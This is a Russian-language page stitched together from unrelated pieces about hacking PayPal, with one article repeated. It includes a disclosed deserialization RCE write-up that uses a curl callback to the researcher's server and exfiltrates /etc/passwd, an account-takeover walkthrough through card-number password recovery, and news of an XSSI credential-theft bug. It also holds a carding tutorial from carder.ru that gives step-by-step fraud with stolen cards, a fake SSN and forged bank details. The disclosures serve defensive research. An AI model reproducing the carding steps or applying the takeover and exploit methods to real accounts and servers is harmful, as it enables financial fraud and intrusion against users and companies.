Взлом paypal: Взломать PayPal за 73 секунды / Positive Technologies corporate blog / Habr – Взлом paypal — как уберечь свои деньги

Взломать PayPal за 73 секунды / Positive Technologies corporate blog / Habr


В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети. При отправке веб-формы на сайте manager.paypal.com в одном из скрытых параметров передавались закодированные данные в виде сериализованного объекта Java. Данный параметр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. Я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена.

Детали уязвимости


При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр “oldFormData”, который выглядел как сложный Java-объект, закодированный в base64:
В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», по которой я понял, что это сериализованный Java-объект класса “java.util.HashMap” без какой-либо цифровой подписи. Это означало, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод “readObject” (или “readResolve”) нового класса.

Для эксплуатации мне необходимо было найти в исходниках приложения (или в библиотеках, которые оно использует) класс, который имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять.

К счастью, Chris Frohoff (@frohoff) и Gabriel Lawrence (@gebl) в начале 2015 года проделали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.

Эксплойт


Я немедленно скачал эту утилиту с их проекта на github и сгенерировал объект класса «sun.reflect.annotation.AnnotationInvocationHandler», десериализация которого приводит к выполнению команды
«curl x.s.artsploit.com/paypal»
, если на сервере доступна библиотека Commons Collections.
Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выявления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера.

После этого я отправил полученный закодированный объект на сервер в параметре “oldFormData” и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:


Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com.

Я мог бы загрузить бекдор, получить доступ к базам данных, которые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:


Я также записал видео, как воспроизвести эту уязвимость, и отправил всю информацию в PayPal.

Ответ от PayPal


После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил тестирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, другой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета.

В любом случае PayPal выплатили мне хорошее денежное вознаграждение, за что им большое спасибо.

Видео:


Уязвимости счетов PayPal, мошенничество refund transactions, взлом аккаунта / Habr

Хочу рассказать о реальном случае мошенничества со счетом Paypal.

Случай произошел с одним моим знакомым, который в результате потерял несколько сотен евро. Многократные обращения в службу поддержки, конфликтную комиссию PayPal ни к чему не привели, деньги возвращены не были и подобная уязвимость сохраняется.

Ситуация была следущая: Мой знакомый, Владимир, перевел 560 евро в качестве предоплаты за аренду жилья некоему Дмитрию (с которым ранее сотрудничал).

Через несколько дней бронь была отменена и Дмитрий перевел эту сумму обратно Владимиру.

Стоит отметить, что Дмитрий вернул деньги Владимиру простым переводом, т.е. никак не связав это действие с первоначальной транзакцией. Надо сказать, что в PayPal есть такая операция как «refund», по-русски возмещение. По первоначальному замыслу, возмещение было придумано, скорее всего, для интернет магазинов, доставляющих товары по почте для возврата денег покупателю в случае, если товар не будет доставлен в течении месяца. Эта операция должна происходить с разрешения (с подтверждением) продавца, т.е. человека получившего деньги по запросу от покупателя (отправителя).

Так вот. По прошествии без малого месяца Владимир получил письмо с таким содержанием:

Тема письма: «Взлом вашего аккаунта Paypal»

Текст (немного изменен):

Доброго времени суток, меня зовут Максим. Мною получен доступ в Ваш PayPal аккаунт — info@******.ru на котором на данный момент находиться сумма в размере 5896 EUR. В качестве доказательства был возвращён платёж с ID ********94J ******** mail.ru в размере 560 EUR. Смена пароля не поможет. Я бы мог снять все ваши деньги, но делать этого не буду, могу предложить Вам сделку, за половину суммы на данном счёте я скажу как этого не допустить.

При этом, в списке транзакций появилась refund transaction связанная с операции возврата Дмитрием 560 EUR. Соответственно, счет Владимира уменьшился на эту сумму. Владимир этой операции, естественно, не подтверждал и не получал никакого почтового извещения, что всегда происходит для любой транзакции при нормальных действиях со счетом.
Владимир тут же связался со службой поддержки PayPal, где на этот случай есть топик «Сообщить о факте мошенничества или запрещенного использования», так же он написал об этом Дмитрию.

Дмитрий этих денег на свой счет не получил. PayPal включил стандартную в таких случаях процедуру блокировки счета и повторной проверки идетификаций. Сразу скажу, что разбирательство ни к чему не привело, деньги возвращены не были, но и больше не пропало.

PayPal по-видимому, в таких случаях, вообще никаких действий не предпринимает и ничего не проверяет, хотя на лицо очевидная дыра в системе: не авторизованная транзакция.

Я был приглашен для оценки данной ситуации, т.к. в свое время занимался интеграцией платежных систем для сайта Владимира.

Судя по письму хакера переводившего деньги, реального доступа к аккаунту Владимира он не получал, иначе он бы просто снял молча все деньги. Тем не менее, каким-то образом он смог узнать баланс счета Владимира и провести refund транзакции Дмитрия. Так как Владимир не подтверждал транзакцию и не получал никаких уведомлений, операция была проведена с использованием какой-то уязвимости refund transaction, в последний день месячного срока после первоначальной операции. Скорее всего, хакер получил какие-то сведения об операциях Дмитрия и смог их использовать с помощью имеющейся уязвимости. Так как Дмитрий денег тоже не получил, то они ушли на неизвестный счет или остались замороженными где-то в недрах системы.

Я составил подробное письмо на английском для службы поддержки PayPal, в котором подробно объяснил ситуацию и приложил письмо хакера и его перевод (по их просьбе). Очевидно, что специалисты по безопасности могли отследить мошенническую транзакцию, куда ушли деньги и т.д. Но это было бы признанием недостатка их системы.

Ответ был кратким: мы не нашли достаточных доказательств мошенничества.

Вывод для всех пользователей PayPal из этой истории: по возможности следите за статусом всех полученных платежей, старайтесь сразу выводить их из системы или переводить на буферные счета. В случае спорных ситуаций не надейтесь на помощь администрации системы, им проще ничего не делать вообще (пример с утечкой аккаунтов e-bay) да и вообще лучше держаться от него (PayPal-a) подальше.

Добавлю скриншоты писем:

Безалаберность пользователей PayPal позволяющая украсть их аккаунт и деньги [Исправлено]

Добрый день, уважаемые коллеги!


Я являюсь пользователем популярного платежного сервиса системы PayPal. Также, по совместительству, являюсь специалистом по технической безопасности в области защиты персональных данных. Хочу рассказать вам, каким образом я обнаружил уязвимость в системе, которая позволяла войти в аккаунт пользователя системы PayPal, а также произвести незаметную смену пароля, и открыть доступ к личному кабинету клиента без его ведома, вывести денежные средства.

Итак, приступим…

Начну с того, что я отчасти являюсь и фрилансером, который получает свою премию через сервис PayPal. И вот сидя дома, и проверяя в очередной раз поступления на свой счет PayPal с мобильного телефона у меня возникла проблема с входом в личный кабинет. Я очень часто пользовался системой аутентификации через Touch ID, прикладывая палец и попадая в личный кабинет сервиса. Но в этот раз, по какой-то причине, на моем мобильном телефоне отвалился Touch ID и мне пришлось вспоминать обычный пароль, что составило немало проблем, поскольку он сложный и с мобильного устройства его не ввести. После некоторых безуспешных попыток вспомнить правильный пароль, я решил воспользоваться системой восстановления паролей и вот тут начинается самое интересное! 🙂

Дело в том, что как и все популярные нынче сервисы, у PayPal есть система восстановления пароля, при этом очень разнонаправленная – мы можем восстановить пароль по почте, указав почту своего аккаунта, можем указать ответ на контрольный вопрос … Но меня в этой опции заинтересовало поле восстановления доступа к учетной записи по «банковской карте».


Фото 1 – Варианты восстановления доступов к аккаунту PayPal
(Выше на скриншотах показано поле восстановления доступа к аккаунту через различные варианты)

Почему этот момент меня так зацепил? Ну, потому что я знаю, как люди, по крайней мере в России, относятся к своим персональным данным, совершенно не понимая какие из них можно опубликовывать в сети Интернет, а какие нельзя! Понимая это, я решил провести эксперимент и выяснить, чем это может грозить клиенту – непосредственно мне, ну и заодно остальным пользователям платежного сервиса PayPal.

Для восстановления доступа к учетной записи по номеру банковской карты – сервис показывает нам последние 2 цифры номера карты. Возникает закономерный вопрос – как можно узнать полный номер банковской карты клиента? И тут нам на помощь приходят различные банковские сервисы онлайн платежей (про безалаберность людей, оставляющих свои ПДн пока не говорим). О чем речь? Я имею в виду приложения банков, которые люди устанавливают на свои мобильные телефоны, например приложение “СберБанк Online”, «ВТБ» и другие. Каким образом злоумышленнику может это помочь? Зная телефон потенциальной жертвы – мы можем частично пробить через приложение номер банковской карты владельца этого телефона. Любезный сервис банка покажет нам «Имя» и «Отчество» владельца карты, а также номер его карты, некоторые символы которого будут закрыты звездочками.

ЗЫ: По моему еще в 2018 или начале 2019 года меня также насторожил тот факт, что банк «ВТБ» в своих терминалах также частично раскрывал персональные данные клиента, если бы вы вставили в терминал найденную кредитную карту, ввели пароль «от балды» и в окне терминала увидели бы приветствие «Здравствуйте, Фамилия Имя Отчество!»… Меня тогда насторожил этот факт.

Фото 1 – Приложение СберБанк Online
(Выше показаны скриншоты приложений СберБанк, ВТБ, которые показывают частично информацию о ФИО клиента, и его номере карты)

(Выше показан скриншот поиска информации в поисковиках/социальных сетях)
Но и без этого. Данное количество информации помогает нам выявить потенциальную жертву, используя поиск в Интернете, мошеннические сайты, или обычную человеческую невнимательность и доверчивость.

Так вот, почему меня волнует этот момент. Представьте, что злоумышленник выдаст себя за заказчика, которому необходимо разработать сайт. Он ищет фрилансера, через какую-нибудь популярную площадку. Списывается с фрилансером и предлагает ему свои условия, например, предлагает сразу же оплатить ему работу, но взамен просит предоставить номер банковской карты для перевода денег. Вполне обычная, нормальная ситуация. Получая номер банковской карты в полном его «размере», злоумышленнику остается лишь одно – узнать на какую E-mail почту зарегистрирован аккаунт фрилансера. Для этого злоумышленнику достаточно просто вбить по ссылке восстановления доступа E-mail почту жертвы и убедиться что сервис увидел его почту, после чего мы просто выбираем опцию восстановления доступа к аккаунту жертвы не через почту, а уже через ввод номера банковской карты и… И мы получаем полный доступ к личному кабинету клиента PayPal!


Фото 1 – Проверяем, что полученный E-mail есть в системе PayPal
Фото 1.1 – видим подтверждение, или видим отказ системы


Фото 2 – Меняем способ восстановления с E-mail на номер банковской карты


Фото 2.1 – Убеждаемся, что указанный жертвой номер карты соответсвует привязанному в аккаунте по последним 2-4 символам.
(Выше представлен пример того, как можно выявить соответствие почты E-mail и привязки к ней банковской карты, указанной фрилансером)

После того, как злоумышленник убедится в том, что эти данные достаточные и они соответствуют тому, что нам показывает сам сервис PayPal – злоумышленник попросту заходит в систему, и при этом ставит свой пароль. При этом все эти действия не отображаются на почте жертвы. Видимо сервис полагает, что раз вы указываете номер карты то это 100% их клиент, а не злоумышленник, и просто не отправляет на почту информацию о смене пароля. Это чревато последствиями.


Фото 1 – Заходим в систему восстановления доступа к аккаунту PayPal


Фото 2 – Указываем способ восстановления по номеру банковской карты


Фото 3 – Вводим номер банковской карты


Фото 4 – Меняем пароль аккаунта PayPal


Фото 5 – Заходим в аккаунт PayPal потенциальной жертвы
(На скриншотах показаны этапы беспрепятственного получения доступа к аккаунту PayPal)

DONE! Для такого «взлома» не потребовалось использовать дополнительных стредств. Вся информация выявляется либо через стандартные сервисы, либо попросту из открытых источников =(
Как вы можете убедиться, мы без особого труда, используя лишь доступную из открытых источников информацию и сервисы, смогли войти в аккаунт пользователя платежной системы PayPal, увидеть его счет, информацию о поступлениях (от куда, сколько, и когда), которая должна защищаться банковской тайной. Без ведома владельца аккаунта мы смогли сменить его пароль.

Также мы смогли получить доступ к настройкам профиля пользователя, и в этих настройках мы можем посмотреть персональные данные клиента, где он живет, и самое важное – мы можем сменить почту E-mail аккаунта, на которую приходят уведомления о переводах. Да, тут конечно без замусоривания основной почты владельца не обойтись — иначе он сможет увидеть письмо системы, в котором говорится что его основной логин сменен на другой, но из-за спама это можно и не заметить, верно?

Если мы сменим почту аккаунта, в таком случае, при осуществлении мошенником снятия/перевода денежных средств жертвы на другой счет сервиса – уведомление системы, в котором говорится «Здравствуйте, Клиент! Мы переводим средства на другой счет … в размере …» увидим только мы, а жертва не будет знать о том, что его деньги пропали, пока не попытается войти в свой аккаунт, что у него сразу не получится, к тому времени деньги уже могут быть выведены из системы на какие-либо подставные счета мошенников.

Почему меня так сильно волнует эта проблема, спросите вы? Да, я даю себе отчет о том, что люди, у которых на счетах PayPal могут находиться большие суммы, скорее всего лучше защищают сведения о своих персональных данных, знают, как их хранить и какими законами они защищаются, чтобы оперировать этим в компаниях, которые потенциально могут «засветить» эти данные каким-либо образом в сети Интернет, или передать их 3-м лицам, у которых потом эти данные могут утечь… Да, я с вами совершенно согласен. Но, если взглянуть повнимательнее, то системой PayPal пользуются много людей, простых и не совсем дружащих с Информационными технологиями – просто появились срочные обстоятельства, по которым им приходится завести аккаунт и получать на него средства.

Когда я разбирался, каким образом можно выявлять необходимые E-mail адреса, номера мобильных телефонов, номера банковских карт… Вы не поверите – в какой то момент я попросту вбил в одной популярной социальной сети поисковый запрос следующего характера: «E-mail PayPal номер банковской карты» и в поисковой выдачи получил сотни таких данных, которые злоумышленники могут просто брать, копировать, вставлять и пользоваться той схемой взлома, которую я описал выше.


Фото 1 – вводим запрос в поисковую сеть в ВКонтакте. Не буду выкладывать остальные скриншоты — вы сами можете это проверить. Не думаю, что такое просто отношение к своим персональным данным только у жителей России, полагаю, что такая же проблема есть и в других странах…

(На скриншотах показано как много информации с конкретными данными счетов, карт, E-mail, можно легко и просто получить из открытых источников в Интернете)

Большинство таких данных публикуют не задумываясь люди, которые собирают средства на лечение своих детей, родственников, любимых питомцев. Эти люди, и это вполне понятно, не задумываются о безопасности своего аккаунта PayPal – для них на первом месте спасти жизнь. Понимая это, я считаю, что сервис PayPal должен изменить подход к восстановлению доступа к учетной записи посредством указания номера банковской карты. Помимо номера банковской карты, было бы разумно отправлять запрос с «кодом» на почту или телефон клиента.
Это поможет вовремя выявить попытки мошенников получить доступ к аккаунту, возможно даже выявить реально действующих таких мошенников на текущий момент (если для них это станет неожиданностью и за их действиями можно будет проследить).

Что следует предпринять пользователям для усиления безопасности пользователей PayPal:
  1. Включить двухфакторную авторизацию в аккаунте.
  2. Не выкладывать в открытом доступе в сети Интернет номера карт, E-mail, которые привязаны к вашему аккаунту PayPal.
  3. Не публикуйте в социальных сетях, форумах и мессенджерах открыто свои персональные данные.
  4. Использовать E-mail почту, которую нигде кроме сервиса PayPal не указывалась (неизвестна никому кроме вас).
Что следует предпринять сервису для усиления безопасности пользователей PayPal:
  1. При использовании функции восстановления доступа к аккаунту через указание банковской карты – внедрить дополнительную отправку кода подтверждения на почту клиента или на мобильный номер, после подтверждения которого уже разрешать менять пароль на новый.
  2. Информировать клиента о попытке сменить пароль от аккаунта на почту.
  3. Информировать клиента о изменениях в учетной записи – в том числе сообщать об изменении E-mail, ФИО, номеров реквизитов.
Данный отчет был написан 31.12.2019 года. Со службой поддержки PayPal с 26 декабря были безуспешные попытки связаться — получил лишь отписку, что со мной свяжутся специалисты технического отдела, но они так и не связались.

UPD: По состоянию на 13.01.2020 данную уязвимость исправили.

Полезные ссылки по данной проблеме от другого специалиста в области ИБ, который обнаружил схожую проблему, позволяющую украсть логин и пароль пользователя PayPal [Читать…]

Штурмуем Paypal — «Хакер»

Вообще-то я не умею писать
всякие умные статьи, про всякие умные фичи,
но сейчас я решусь на это. Я не буду вам
впаривать, что такое Paypal и с чем его едят, вы
наверно это сами отлично знаете (если не
знаете — смотрите предыдущую статью). Эту
статью я хотел бы прежде всего посвятить
работе с pp. Прежде чем
штурмовать pp надо к этому основательно подготовиться. Прежде всего,
надо вычистить все куки в винде (находятся они
в директории c:\windows\cookies). И надо найти хороший прокси-лист
с анонимными проксями. Его можно найти на сайте
www.void.ru, там есть 10 проксей. Прокси
должен быть анонимный. После этого начинается
самая трудная часть, под анонимным прокси надо
войти в Paypal, перед этим надо сделать емайл на
домене com. Тыкаете Sign Up на pp, и вводите все данные
с карты. О том, какая карта нужна на pp это отдельная история.
Прежде всего нужна РАБОЧАЯ,
штатовская, visa или mc, с большим балансом, и самое главное с cvv2
номером. CVV2 — это трехзначный
номер который написан на задней стороне карты. Берете карточку и
заполняете все поля данными с
карты. На ваш e-mail вам придет письмо, вы открываете ваш e-mail и
тыкаете на линк в вашем мейле.
Таким образом вы зарегите ваш емайл в Paypal’е. Осталось все за малым
— ввести вашу креду в pp. Для
этого надо сделать Add Credit Card. Вы вводите вашу креду с CVV2 номером
и если она проходит, то у вас
будет Unverified Paypal Account, т.е. вы сможете снять с него только
250$. Вы задаете вопрос, а что же
делать если нет CVV2 номера??? Вы можете попробовать девственную
Mastercard. И использовать 3,4,5
номер карты в качестве CVV2 номера, но это не всегда проходит.
Это примерно проходит в 1/3
случаев. Так что лучше иметь девственницу с CVV2
 😉 

Если
вы дочитали до этого места и кричите мне, что я ламер и.т.д
 и.т.п, то сейчас я вам расскажу занимательную
сказку как верифицировать Paypal. Если вам это не
интересно, то вы можете прямо сейчас удалить мою
статью с криками ОТСТОЙ!!! Если у вас pp просуществовал неделю и его
не закрыли, то это круто 🙂 , а если
серьезно, то он будет и дальше существовать n-ое время. Едешь
потом на www.etrade.com. Е трэйд — это
сервис который позволяет открывать onlin’овские банковские
аккаунты.
Теперь я вам в подробностях
опишу процесс открытия банковского
аккаунта.
 Идите на www.etrade.com и нажмите там Open an Account, это
находится в левом верхнем углу. Потом жмете на E*TRADE Account
Express. Дальше я вам буду описывать
процесс создания аккаунта пошагово.

Шаг N 1

1. Жмем Individual account.
2. Ставим галочки в Individual account и
в Check Deposit жмем далее.

Шаг N 2

1. Пишите все ваши данные во
все строки. (думаю как это сделать объяснять
не надо 🙂
2. Ваш номер телефона и емайл.
Емайл вводите реальный с доменом com.
3. Номер социального
страхования. Так у тебя его нет то вводи что-то типа:
223-92-0137. Последние два поля надо
заполнять вот так: Country of legal residence (select one): United
States, Citizenship status (select one): US citizen клик континуе 🙂 
4. Дальше спрашивают про вашу
работу пишите везде unemployed :-), все остальное
отмечаете
No.

Шаг N 3

 1. Дальше будут всякие
муторные вопросы надо будет выделить хотя
бы что-то
одно 🙂
 2. Там спросят где вы хотите
сохранять инвестированное бабло. (Where do you want to keep your cash between
investments?) вы кликаете Earn daily interest
and access your money anytime through our free checking service. Credit interest
и т.д.  
3. Электронные документы и как
вы хотите их принимать 🙂 Везде пишите Electronicaly и потом
введите ваш мыл. Клик конитнуе.

Шаг N 4

(тебе наверно уже надоело 😉
1. Примите лицензионное
соглашение. 
2. Ответьте NO.
3. Тоже NO.
4. Ну дальше выберете себе имя
и пароль. (тут я думаю вам объяснять ничего не надо) 
5. И дальше вам выдает
следующее — типа Ура, ура вы
зарегистрировались. И
это круто, ваш Account Number: такой- то (запомните его или
еще лучше запишите) 

Ну вот вроде и все с etrade вы
справились. Примите мой поздравления. А дальше начинается самое
интересное. Теперь я немного расскажу о
будущем Paypal’а. Тут не чего рассказывать у PP нет никакого будущего,
так 80% юзверей PP, это наши
собратия кардеры 🙂 , но сейчас PP очень сильно увеличил безопасность
и он держит огромный штат
людей отвечающих за это (безопасность). Каждая
операция в которой участвует больше 100$ проверяется. Все ИП
тоже проверяются. Ну что тебе еще не расхотелось кардить ПП??????
Ну если нет, тогда поехали.
Если ты меня внимательно читал, у тебя уже есть
один аккаунт Unverified. Создай еще один, но с другого
прокси и не забудь вычистить Cookies. Создал? Хорошо это нам поможет.
Сейчас следует кликнуть в ПП
на Add Checking Account и ввести номер твоего акаунта, но вводить
надо хитро, т.е перед номером
аккаунта ставь 104000000. Если твой акк 4865-4345, то вводи
10400000048654345, понял??? Routing Number
вводи 021000018. The Bank of New York в качестве банка. Только прикинь у тебя
есть счет в The Bank of New York, ты прям почти круче, чем семья
Ельцина 🙂 И Checking тип твоего
акка. Ну что ты думаешь это все и ты кричишь мне вслед Ламер.
Но это не так все просто
теперь надо будет убедить ПП, что ты не кардер, а
крутой бизнесмен 🙂 Для этого лучше всего
написать письмо в ПП с убедительной просьбой
верифицировать твой аккаунт.  Но перед этим надо зарегить
домен, и сделать дизайн крутого Онлайн шопа. Ты
чуешь, куда я клоню 🙂 И потом надо будет на хорошем
английском написать письмо в пп. Типа так и так у меня свой шоп
там-то, там-то и верифицируйие
мне ПП быстро. Через неделю, если ты все сделал правильно твой ПП
верифицируют. Так же сделай второй аккаунт и скидывай лавэ с первого на второй,
со второго на первый. 

Ну что
скажешь ты, да я понимаю, что это большой гимор. Но поверь
мне с этой фичей можно грести лавэ лопатой с PP. Главное в
этом деле — терпение и самое главное, НЕ ЖАДНИЧАЙТЕ. Помните, что
жадность кардера сгубила :-))) Я
вам от всей души желаю удачи в этом начинании
(в имении и снятия
бабок с пп). А как снять бабки с ПП??? А это
уже совсем другая история…

Все права на статью принадлежат
www.carder.ru

Взломать PayPal за 73 секунды

В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети.

Автор: Михаил Степанкин, Positive Technologies

В декабре 2015 года я обнаружил критически опасную уязвимость в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети. При отправке веб-формы на сайте manager.paypal.com в одном из скрытых параметров передавались закодированные данные в виде сериализованного объекта Java. Данный параметр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. Я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена.

Детали уязвимости
При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр “oldFormData”, который выглядел как сложный Java-объект, закодированный в base64:
В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», по которой я понял, что это сериализованный Java-объект класса “java.util.HashMap” без какой-либо цифровой подписи. Это означало, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод “readObject” (или “readResolve”) нового класса.

Для эксплуатации мне необходимо было найти в исходниках приложения (или в библиотеках, которые оно использует) класс, который имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять.

К счастью, Chris Frohoff (@frohoff) и Gabriel Lawrence (@gebl) в начале 2015 года проделали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.

Эксплойт
Я немедленно скачал эту утилиту с их проекта на github и сгенерировал объект класса«sun.reflect.annotation.AnnotationInvocationHandler», десериализация которого приводит к выполнению команды «curl x.s.artsploit.com/paypal», если на сервере доступна библиотека Commons Collections.


Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выявления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера.

После этого я отправил полученный закодированный объект на сервер в параметре “oldFormData” и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:


Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com.

Я мог бы загрузить бекдор, получить доступ к базам данных, которые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:


Я также записал видео, как воспроизвести эту уязвимость, и отправил всю информацию в PayPal.

Ответ от PayPal
После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил тестирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, другой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета.

В любом случае PayPal выплатили мне хорошее денежное вознаграждение, за что им большое спасибо.

Видео:

PayPal взлом и кража данных карты

03.09.2013 в 20:50

#2775

Покупала вещи с Ebay, оплачивала с помощью PayPal. Сделала привязку аккаунта к визе-виртуон, так при возмещении средств деньги попали сразу на карту, происходит ли так всегда? Легко ли взломать PayPal и, соответственно, получить доступ к деньгам на карте?

04.09.2013 в 19:52

#2777

Михаил Ефремов

я пользуюсь пайпал более трех лет, карта привяза. все отлично с ебай. вот если вы оплачиваете где то на других сайтах, то есть вероятность что похитят данные палки… если вы на хакерский сайт зайдётет или какой нибудь интрнет магазин взломают и сольют базу с кредитками или paypal аккаунтами. — вот в этом случае мошенники получают доступы. но и там есть проверка у палки по адресу доставки/ ip .. вообщем ситации такие возможны, но маловероятны. а если только на ебай шопитесь то вообще исключено что кто то получит доступ к вашим данным. если только вы сами данные кому то не передадите.

05.10.2013 в 01:41

#2779

Взломать систему PayPal ооочень трудно. Ведь там надо подтвердить несколько раз что ты это ты, так как система действительно отслеживает с какого IP осуществляется вход. Иногда просят ввести пароль несколько раз, если система в чем то «сомневается». А вообще лучше конечно привязать карту и поставить на ней лимит снятия денег и не хранить деньги на счету PayPal.

11.10.2013 в 00:02

#2780

Да не очень мне по душе эта система. Причина проста — на неё нашим согражданам нельзя получать деньги, а так бы я выставлял некоторые музейные редкости на том же eBay. В первый раз после регистрации на PayPal пытался оплатить товар на Tinydeal. Карта привязана, верицфицирована, при попытке оплаты система выдаёт неизвестную ошибку. Плюнул на всё и оплатил картой на прямую. Больше с PayPal не связывался.

13.10.2013 в 22:42

#2781

Paypal — это очень хорошая система. Удобно делать покупки. Заказал специальную карту, теперь могу снимать денежные средства и оплачивать покупки, особенно нравится, что система работает с интернет — магазинами. Отличная система, не слышал о том, чтобы каким- то образом взламывали эти карты.

13.10.2013 в 22:45

#2782

Советую пользоваться этой системой. Грамотно продуманный интерфейс очень помогает разобраться с программой. Привязала карту, теперь могу спокойно использовать эту систему для покупок. Хакерские сайты не посещаю, качеством обслуживания системы довольна.

05.01.2014 в 13:13

#2784

Я также как вы заказываю вещи с этого сайта. Карта привязана к аккаунту и защищена. Хочу успокоить вас, взломать её нельзя, а если взломают, то платит фирма страховку . Для меня на первый взгляд всё казалось сложным, но потом я привыкла пользоваться ей. Жаль, что при работе с Россией есть ограничения, но в общем я довольна, система отличная.

15.06.2014 в 17:56

#2787

PayPal сильно тормозит в вопросах вывода средств: 5-7 банковских дней, ну куда это годится? К тому же на вывод денег на карточные счета в РФ у них нет лицензии, т.е. можно выводить только на текущие счета. А это серьезнейший минус. В целом система постоянно тупит, например, был случай, когда мне для вывода средств на текущий счет пришлось привязывать карту. Операторы службы поддержки говорят, что такие глюки там постоянно.

05.07.2014 в 15:22

#2776

Марина, PayPal на сегодняшний день — один из лучших и ведущих сервисов по оплате товаров на различных интернет сайтах. У него технология защиты на высочайшем уровне! сама цепочка оплаты продумана до мелочей — создается виртуальный кошелек, на который вы закидываете деньги.. оплата идет с кошелька или через него (деньги мгновенно списываются с карты и зачисляются на кошелек, и идет оплата мгновенно с кошелька). в любом случае, данные вашей карты не фиксируются на сайте оплаты. база данных о картах хранится изолированно, что повышает безопасность данного сервиса. Кстати, была недавно принята концепция развития PayPal, по которой в список стран участников добавятся многие страны, которым доступ был ранее закрыт.. Поэтому — используйте его в работе и не волнуйтесь 🙂 Анна, на карту деньги выводятся как правило 2-3 дня 🙂 не знаю, в чем у вас там проблема 🙂

30.08.2014 в 06:45

#2788

С карты было списано на 4% больше чем было указано при осуществлении платежа. При обращении в службу PayPal и в службу банка стало понятно что никто проблему решать не хочет, а только указывают пальцем друг на друга. Никаких доказательств своей невиновности не предоставляют. Такая ситуация происходила не один раз. Мои деньги оседают в чьих-то карманах и все твердят о своей невиновности. Ни кому не советую использовать эту платежную систему!!!

24.07.2015 в 15:31

#2789

Оплатит ли своим клиентам реалтаймовый мониторинг их пластиковых карт сроком, скажем, на год, на всякий пожарный случай (подвергшиеся взломам западные компании пока практикуют такое по доброй воле)?

23.08.2015 в 13:14

#2790

И даже если хакеры похитили данные вашей карты,то проблема не в том,что вы не сможете платить ею,а в том,что кто-то другой будет это делать за вас.

В PayPal исправлена уязвимость, помогавшая узнать почту и пароль пользователя

ИБ-специалист Алекс Бирсан (Alex Birsan) получил 15 300 долларов по программе bug bounty, обнаружив критическую уязвимость в процессе аутентификации PayPal.

Эксперт объясняет, что уязвимость была связана с тем, как PayPal хранит токены CSRF и ID сессий в файле JavaScript, из-за чего они становились доступными для злоумышленников посредством XSSI-атак. Хотя для рандомизации имен при каждом запросе использовался обфускатор, все равно имелась возможность предсказать, где находятся токены и извлечь их.

Хотя сами по себе ID сессий и токены бесполезны для прямых атак, Бирсан использовал их во время компрометации механизма, который защищает PayPal от брутфорса. Так, после нескольких неудачных попыток входа в систему пользователь должен решить задачу reCAPTCHA. Данная страница не содержит ничего, кроме Google CAPTCHA, и, если задача успешно решена, формируется POST-запрос к /auth/validatecaptcha.

Ответ на данный запрос, по сути, должен снова ввести пользователя в процесс аутентификации. Для этого он содержит форму со всеми данными, указанными в последнем запросе пользователя на вход, включая его email-адрес пароль в формате простого текста. Чтобы добраться до этих учетных данных, злоумышленнику необходимо убедить жертву посетить вредоносный сайт перед входом в учетную запись PayPal.

Так как токен CSRF и ID сессии присутствуют в теле запроса, наряду с двумя другими токенами, учетные данные жертвы можно получить, если известны все токены, использованные в запросе. Значение одного из этих неизвестных токенов не проходит валидацию, тогда как другим является токен recaptcha, предоставляемый Google при решении задачи reCAPTCHA. Последний не привязан к сеансу, то есть подходит любой действительный токен, в том числе из сервиса автоматического решения.

Используя вышеприведенную информацию, исследователь создал экслпоит, который сначала  использовал XSSI-уязвимость для получения действительных токенов жертвы, а затем предпринимал попытку брутфорса, чтобы вызвать срабатывание защитного механизма.

